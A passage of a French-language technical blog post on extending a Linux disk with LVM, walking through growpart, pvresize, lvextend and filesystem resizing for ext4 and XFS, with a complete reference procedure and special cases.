<li class="">changer le PARTUUID → un <code>/etc/fstab</code> ou un <code>root=PARTUUID=</code> en ligne de commande noyau cassé.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-bonne-pratique--growpart">La bonne pratique : <code>growpart</code><a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#la-bonne-pratique--growpart" class="hash-link" aria-label="Lien direct vers la-bonne-pratique--growpart" title="Lien direct vers la-bonne-pratique--growpart" translate="no">​</a></h3>
<p>Paquet <code>cloud-guest-utils</code> (Debian/Ubuntu) ou <code>cloud-utils-growpart</code> (RHEL/Rocky). C'est l'outil qu'utilise cloud-init au premier démarrage de toute image cloud — il est éprouvé à très grande échelle.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">growpart --dry-run /dev/sda </span><span class="token number" style="color:#36acaa">3</span><span class="token plain">     </span><span class="token comment" style="color:#999988;font-style:italic"># simulation, n'écrit rien</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">growpart /dev/sda </span><span class="token number" style="color:#36acaa">3</span><span class="token plain">               </span><span class="token comment" style="color:#999988;font-style:italic"># exécution</span><br></div></code></pre></div></div>
<blockquote>
<p><strong>Syntaxe :</strong> disque et numéro de partition sont <strong>deux arguments séparés</strong>.
<code>growpart /dev/sda3</code> échoue.</p>
</blockquote>
<p>Ce que <code>growpart</code> enchaîne en interne :</p>
<ol>
<li class="">lecture de la table via <code>sfdisk -d</code> ;</li>
<li class="">calcul de la nouvelle taille, bornée par le début de la partition suivante ou par la fin réelle du disque <strong>moins les 33 secteurs GPT</strong> ;</li>
<li class="">sauvegarde du PMBR et des en-têtes GPT dans <code>/tmp/growpart.XXXX/</code> ;</li>
<li class="">réapplication du dump <strong>sans la ligne <code>last-lba</code></strong> — ce qui force <code>sfdisk</code> à recalculer la dernière LBA utilisable et à réécrire les deux en-têtes ;</li>
<li class="">notification au noyau via <code>partx --update</code>.</li>
</ol>
<p>Il refuse d'agir si le gain est inférieur à 10 Mio (option <code>--fudge</code>, défaut 20480 secteurs).</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="lire-un---dry-run--lexemple-réel">Lire un <code>--dry-run</code> : l'exemple réel<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#lire-un---dry-run--lexemple-r%C3%A9el" class="hash-link" aria-label="Lien direct vers lire-un---dry-run--lexemple-réel" title="Lien direct vers lire-un---dry-run--lexemple-réel" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">CHANGE: partition=3 start=2101248 old: size=127922143 end=130023391</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                                  new: size=169865183 end=171966431</span><br></div></code></pre></div></div>
<p>Contrôles à faire soi-même :</p>
<ul>
<li class=""><strong><code>start</code> inchangé</strong> (<code>2101248</code> dans les deux dumps) → aucune donnée déplacée. C'est <strong>le</strong> point vital.</li>
<li class=""><strong><code>type</code> et <code>uuid</code> inchangés</strong> → fstab, GRUB et LVM ne voient aucune différence.</li>
<li class=""><strong>Fin cohérente avec les 33 secteurs réservés</strong> :
<code>171966464 (taille disque) − 33 = 171966431</code> → le nouveau <code>end</code> tombe pile sur la limite. Le calcul GPT est correct.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="notifier-le-noyau">Notifier le noyau<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#notifier-le-noyau" class="hash-link" aria-label="Lien direct vers Notifier le noyau" title="Lien direct vers Notifier le noyau" translate="no">​</a></h3>
<p>Si <code>lsblk</code> montre encore l'ancienne taille après <code>growpart</code> :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">partx </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> /dev/sda3       </span><span class="token comment" style="color:#999988;font-style:italic"># ioctl BLKPG, partition par partition — fonctionne à chaud</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">partprobe /dev/sda       </span><span class="token comment" style="color:#999988;font-style:italic"># relecture globale de la table</span><br></div></code></pre></div></div>
<p><code>partx -u</code> est préférable quand des partitions du disque sont montées : il redimensionne une partition précise sans exiger une relecture complète de la table, opération que le noyau peut refuser (<code>EBUSY</code>) si le disque est en cours d'utilisation.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="cas-mbr">Cas MBR<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#cas-mbr" class="hash-link" aria-label="Lien direct vers Cas MBR" title="Lien direct vers Cas MBR" translate="no">​</a></h3>
<p><code>growpart</code> gère aussi le MBR (via <code>sfdisk</code>), sans la problématique d'en-tête de secours. Limites propres au MBR : 4 partitions primaires, et <strong>2 Tio maximum</strong> par partition.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-couche-3--le-physical-volume-lvm">4. Couche 3 — Le Physical Volume LVM<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#4-couche-3--le-physical-volume-lvm" class="hash-link" aria-label="Lien direct vers 4. Couche 3 — Le Physical Volume LVM" title="Lien direct vers 4. Couche 3 — Le Physical Volume LVM" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-pvs-affiche-pfree-0">Pourquoi <code>pvs</code> affiche <code>PFree 0</code><a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#pourquoi-pvs-affiche-pfree-0" class="hash-link" aria-label="Lien direct vers pourquoi-pvs-affiche-pfree-0" title="Lien direct vers pourquoi-pvs-affiche-pfree-0" translate="no">​</a></h3>
<p><strong><code>pvs</code> n'interroge pas le périphérique.</strong> Il lit les métadonnées LVM inscrites au début du PV, qui contiennent le nombre d'extents physiques. Tant que ces métadonnées n'ont pas été réécrites, LVM reste convaincu que le PV a sa taille d'origine — même si la partition sous-jacente a doublé.</p>
<p>C'est un choix de conception cohérent : les métadonnées LVM sont la source de vérité, ce qui permet notamment de déplacer un PV d'un disque à l'autre sans rien perdre.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="structure-du-début-dun-pv">Structure du début d'un PV<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#structure-du-d%C3%A9but-dun-pv" class="hash-link" aria-label="Lien direct vers Structure du début d'un PV" title="Lien direct vers Structure du début d'un PV" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">octet 0        │ (souvent vide)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">secteur 1      │ Label LVM : signature « LABELONE » + UUID du PV</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">offset 4096    │ Metadata Area (MDA) : description texte du VG, des LV, du mapping des PE</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">offset 1 MiB   │ pe_start : premier extent de données (alignement par défaut)</span><br></div></code></pre></div></div>
<p>L'alignement à 1 Mio (<code>pe_start = 2048</code> secteurs) sert à faire coïncider les extents avec les frontières d'effacement des SSD et les bandes RAID.</p>
<p>À observer : les métadonnées sont <strong>en tête</strong> du PV. Étendre la partition par la fin ne les touche donc jamais. C'est ce qui rend l'opération sûre.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">pvs </span><span class="token parameter variable" style="color:#36acaa">-o</span><span class="token plain"> pv_name,pv_size,pv_free,pv_pe_count,pv_pe_alloc_count</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">pvdisplay /dev/sda3</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-commande">La commande<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#la-commande" class="hash-link" aria-label="Lien direct vers La commande" title="Lien direct vers La commande" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">pvresize /dev/sda3</span><br></div></code></pre></div></div>
<p><code>pvresize</code> interroge la taille réelle du périphérique auprès du noyau (<code>BLKGETSIZE64</code>), recalcule le nombre d'extents et <strong>réécrit les métadonnées LVM</strong>. Opération faisable <strong>à chaud</strong>, avec des LV actifs et montés — c'est explicitement prévu par la documentation LVM.</p>
<p>Sans argument de taille, il aligne le PV sur la taille du périphérique. L'option <code>--setphysicalvolumesize</code> force une valeur, uniquement utile pour réduire (LVM refuse de toute façon de rétrécir un PV si des extents sont alloués au-delà de la nouvelle limite).</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="filet-de-sécurité-intégré">Filet de sécurité intégré<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#filet-de-s%C3%A9curit%C3%A9-int%C3%A9gr%C3%A9" class="hash-link" aria-label="Lien direct vers Filet de sécurité intégré" title="Lien direct vers Filet de sécurité intégré" translate="no">​</a></h3>
<p>Toute commande LVM modifiant les métadonnées en archive automatiquement la version précédente :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">/etc/lvm/archive/   ← historique horodaté (avant chaque modification)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">/etc/lvm/backup/    ← état courant</span><br></div></code></pre></div></div>
<p>En cas de catastrophe : <code>vgcfgrestore -l ubuntu-vg</code> pour lister, puis <code>vgcfgrestore -f &lt;fichier&gt; ubuntu-vg</code>.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-couche-4--volume-group-et-logical-volume">5. Couche 4 — Volume Group et Logical Volume<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#5-couche-4--volume-group-et-logical-volume" class="hash-link" aria-label="Lien direct vers 5. Couche 4 — Volume Group et Logical Volume" title="Lien direct vers 5. Couche 4 — Volume Group et Logical Volume" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-modèle-des-extents">Le modèle des extents<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#le-mod%C3%A8le-des-extents" class="hash-link" aria-label="Lien direct vers Le modèle des extents" title="Lien direct vers Le modèle des extents" translate="no">​</a></h3>
<p>LVM découpe chaque PV en <strong>Physical Extents</strong> (PE) de taille fixe, 4 Mio par défaut. Un LV est simplement une liste de PE, potentiellement répartis sur plusieurs PV. Cette indirection est ce qui autorise l'extension à chaud, le déplacement en ligne (<code>pvmove</code>) et les snapshots.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">vgs </span><span class="token parameter variable" style="color:#36acaa">-o</span><span class="token plain"> vg_name,vg_size,vg_free,vg_extent_size,vg_extent_count,vg_free_count</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lvs </span><span class="token parameter variable" style="color:#36acaa">-o</span><span class="token plain"> +seg_pe_ranges          </span><span class="token comment" style="color:#999988;font-style:italic"># à quels PE physiques correspond chaque LV</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="étendre">Étendre<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#%C3%A9tendre" class="hash-link" aria-label="Lien direct vers Étendre" title="Lien direct vers Étendre" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">lvextend </span><span class="token parameter variable" style="color:#36acaa">-l</span><span class="token plain"> +100%FREE /dev/ubuntu-vg/ubuntu-lv     </span><span class="token comment" style="color:#999988;font-style:italic"># tout l'espace libre du VG</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lvextend </span><span class="token parameter variable" style="color:#36acaa">-L</span><span class="token plain"> +10G     /dev/ubuntu-vg/ubuntu-lv     </span><span class="token comment" style="color:#999988;font-style:italic"># 10 Gio de plus</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lvextend </span><span class="token parameter variable" style="color:#36acaa">-L</span><span class="token plain"> 50G      /dev/ubuntu-vg/ubuntu-lv     </span><span class="token comment" style="color:#999988;font-style:italic"># jusqu'à 50 Gio au total</span><br></div></code></pre></div></div>
<p>Distinction à retenir :</p>
<ul>
<li class=""><code>-l</code> : en <strong>extents</strong> ou en pourcentage (<code>+100%FREE</code>, <code>+50%FREE</code>, <code>90%VG</code>)</li>
<li class=""><code>-L</code> : en <strong>octets</strong> (suffixes <code>M</code>, <code>G</code>, <code>T</code>)</li>
<li class=""><code>+</code> : ajoute à la taille actuelle. Sans <code>+</code>, la valeur est <strong>absolue</strong> — la confusion entre <code>-L 10G</code> et <code>-L +10G</code> est une erreur classique.</li>
</ul>
<blockquote>
<p><strong>Conseil d'administrateur :</strong> ne pas systématiquement consommer <code>+100%FREE</code>. Garder de la marge dans le VG permet de créer un snapshot avant une opération risquée, ou d'étendre un autre LV en urgence. C'est la raison d'être de LVM.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="étendre-le-système-de-fichiers-dans-la-foulée">Étendre le système de fichiers dans la foulée<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#%C3%A9tendre-le-syst%C3%A8me-de-fichiers-dans-la-foul%C3%A9e" class="hash-link" aria-label="Lien direct vers Étendre le système de fichiers dans la foulée" title="Lien direct vers Étendre le système de fichiers dans la foulée" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">lvextend </span><span class="token parameter variable" style="color:#36acaa">-l</span><span class="token plain"> +100%FREE </span><span class="token parameter variable" style="color:#36acaa">-r</span><span class="token plain"> /dev/ubuntu-vg/ubuntu-lv</span><br></div></code></pre></div></div>
<p><code>-r</code> / <code>--resizefs</code> délègue à <code>fsadm</code>, qui détecte le type de FS et appelle l'outil adapté. Pratique, mais faire les deux étapes séparément permet de mieux comprendre — et de garder la main en cas de problème.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="6-couche-5--le-système-de-fichiers">6. Couche 5 — Le système de fichiers<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#6-couche-5--le-syst%C3%A8me-de-fichiers" class="hash-link" aria-label="Lien direct vers 6. Couche 5 — Le système de fichiers" title="Lien direct vers 6. Couche 5 — Le système de fichiers" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ext4">ext4<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#ext4" class="hash-link" aria-label="Lien direct vers ext4" title="Lien direct vers ext4" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">resize2fs /dev/ubuntu-vg/ubuntu-lv        </span><span class="token comment" style="color:#999988;font-style:italic"># jusqu'à la taille du device</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">resize2fs /dev/ubuntu-vg/ubuntu-lv 40G    </span><span class="token comment" style="color:#999988;font-style:italic"># taille cible explicite</span><br></div></code></pre></div></div>
<ul>
<li class=""><strong>Extension à chaud</strong> : supportée nativement, système monté et en production. Le noyau gère l'<em>online resize</em> pour ext3/ext4 depuis longtemps.</li>
<li class=""><strong>Réduction</strong> : impose un démontage préalable <strong>et</strong> un <code>e2fsck -f</code> obligatoire. Impossible sur <code>/</code> sans live CD.</li>
<li class="">Le mécanisme repose sur la fonctionnalité <code>resize_inode</code> (activée par défaut), qui préalloue des blocs de descripteurs de groupes pour permettre la croissance.</li>
</ul>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">dumpe2fs </span><span class="token parameter variable" style="color:#36acaa">-h</span><span class="token plain"> /dev/ubuntu-vg/ubuntu-lv </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-E</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'Block count|Block size|features'</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="xfs">XFS<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#xfs" class="hash-link" aria-label="Lien direct vers XFS" title="Lien direct vers XFS" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">xfs_growfs /                              </span><span class="token comment" style="color:#999988;font-style:italic"># ATTENTION : point de montage, pas device</span><br></div></code></pre></div></div>
<p>Deux différences majeures avec ext4 :</p>
<ol>
<li class=""><code>xfs_growfs</code> prend le <strong>point de montage</strong> en argument. Lui passer un device échoue.</li>
<li class="">XFS ne sait <strong>pas</strong> rétrécir. Jamais, aucune option. Seule issue : sauvegarder, recréer, restaurer.</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="vérification-finale">Vérification finale<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#v%C3%A9rification-finale" class="hash-link" aria-label="Lien direct vers Vérification finale" title="Lien direct vers Vérification finale" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">df</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-h</span><span class="token plain"> /</span><br></div></code></pre></div></div>
<p><code>df</code> lit le superbloc via <code>statfs()</code>. Une taille inchangée ici après un <code>resize2fs</code> réussi signifie généralement qu'on a redimensionné le mauvais device.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="7-procédure-complète-de-référence">7. Procédure complète de référence<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#7-proc%C3%A9dure-compl%C3%A8te-de-r%C3%A9f%C3%A9rence" class="hash-link" aria-label="Lien direct vers 7. Procédure complète de référence" title="Lien direct vers 7. Procédure complète de référence" translate="no">​</a></h2>
<p>Cas type : partition LVM en dernière position sur GPT, racine ext4.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># ─── 0. Diagnostic ────────────────────────────────────────────────</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lsblk</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">pvs </span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> vgs </span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> lvs</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">findmnt </span><span class="token parameter variable" style="color:#36acaa">-no</span><span class="token plain"> FSTYPE /</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">parted</span><span class="token plain"> /dev/sda unit s print </span><span class="token function" style="color:#d73a49">free</span><span class="token plain">      </span><span class="token comment" style="color:#999988;font-style:italic"># espace libre APRÈS la partition cible ?</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ─── 1. Le noyau voit-il la nouvelle taille ? ─────────────────────</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lsblk </span><span class="token parameter variable" style="color:#36acaa">-b</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-o</span><span class="token plain"> NAME,SIZE</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># sinon, pour un device SCSI :</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token builtin class-name">echo</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> /sys/class/block/sda/device/rescan</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ─── 2. Sauvegardes ───────────────────────────────────────────────</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">sfdisk </span><span class="token parameter variable" style="color:#36acaa">-d</span><span class="token plain"> /dev/sda </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> /root/sda-partition-table.backup</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># + snapshot Proxmox</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ─── 3. Partition ─────────────────────────────────────────────────</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">growpart --dry-run /dev/sda </span><span class="token number" style="color:#36acaa">3</span><span class="token plain">          </span><span class="token comment" style="color:#999988;font-style:italic"># VÉRIFIER : start inchangé</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">growpart /dev/sda </span><span class="token number" style="color:#36acaa">3</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lsblk /dev/sda                         </span><span class="token comment" style="color:#999988;font-style:italic"># sda3 doit avoir grandi</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">partx </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> /dev/sda3                     </span><span class="token comment" style="color:#999988;font-style:italic"># seulement si lsblk n'a pas bougé</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ─── 4. Physical Volume ───────────────────────────────────────────</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">pvresize /dev/sda3</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">vgs                                    </span><span class="token comment" style="color:#999988;font-style:italic"># VFree doit refléter le gain</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ─── 5. Logical Volume + système de fichiers ──────────────────────</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lvextend </span><span class="token parameter variable" style="color:#36acaa">-l</span><span class="token plain"> +100%FREE </span><span class="token parameter variable" style="color:#36acaa">-r</span><span class="token plain"> /dev/ubuntu-vg/ubuntu-lv</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ─── 6. Contrôle ──────────────────────────────────────────────────</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">df</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-h</span><span class="token plain"> /</span><br></div></code></pre></div></div>
<p>Aucun redémarrage n'est nécessaire à aucune étape.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="8-cas-particuliers">8. Cas particuliers<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#8-cas-particuliers" class="hash-link" aria-label="Lien direct vers 8. Cas particuliers" title="Lien direct vers 8. Cas particuliers" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-pv-occupe-le-disque-entier-pas-de-partition">Le PV occupe le disque entier (pas de partition)<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#le-pv-occupe-le-disque-entier-pas-de-partition" class="hash-link" aria-label="Lien direct vers Le PV occupe le disque entier (pas de partition)" title="Lien direct vers Le PV occupe le disque entier (pas de partition)" translate="no">​</a></h3>
<p>Si <code>pvs</code> affiche <code>/dev/sdb</code> et non <code>/dev/sdb1</code>, il n'y a pas de table de partitions. On saute toute la couche 2 :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">pvresize /dev/sdb</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lvextend </span><span class="token parameter variable" style="color:#36acaa">-l</span><span class="token plain"> +100%FREE </span><span class="token parameter variable" style="color:#36acaa">-r</span><span class="token plain"> /dev/vg/lv</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="une-partition-se-trouve-après-la-partition-lvm">Une partition se trouve après la partition LVM<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#une-partition-se-trouve-apr%C3%A8s-la-partition-lvm" class="hash-link" aria-label="Lien direct vers Une partition se trouve après la partition LVM" title="Lien direct vers Une partition se trouve après la partition LVM" translate="no">​</a></h3>
<p>L'extension en place est impossible. Trois options, par ordre de préférence :</p>
<ol>
<li class=""><strong>Ajouter un second disque virtuel</strong> (voir ci-dessous) — sans interruption, sans risque ;</li>
<li class="">supprimer/recréer la partition gênante à froid (live CD) ;</li>
<li class="">migrer les données vers un nouveau disque.</li>
</ol>
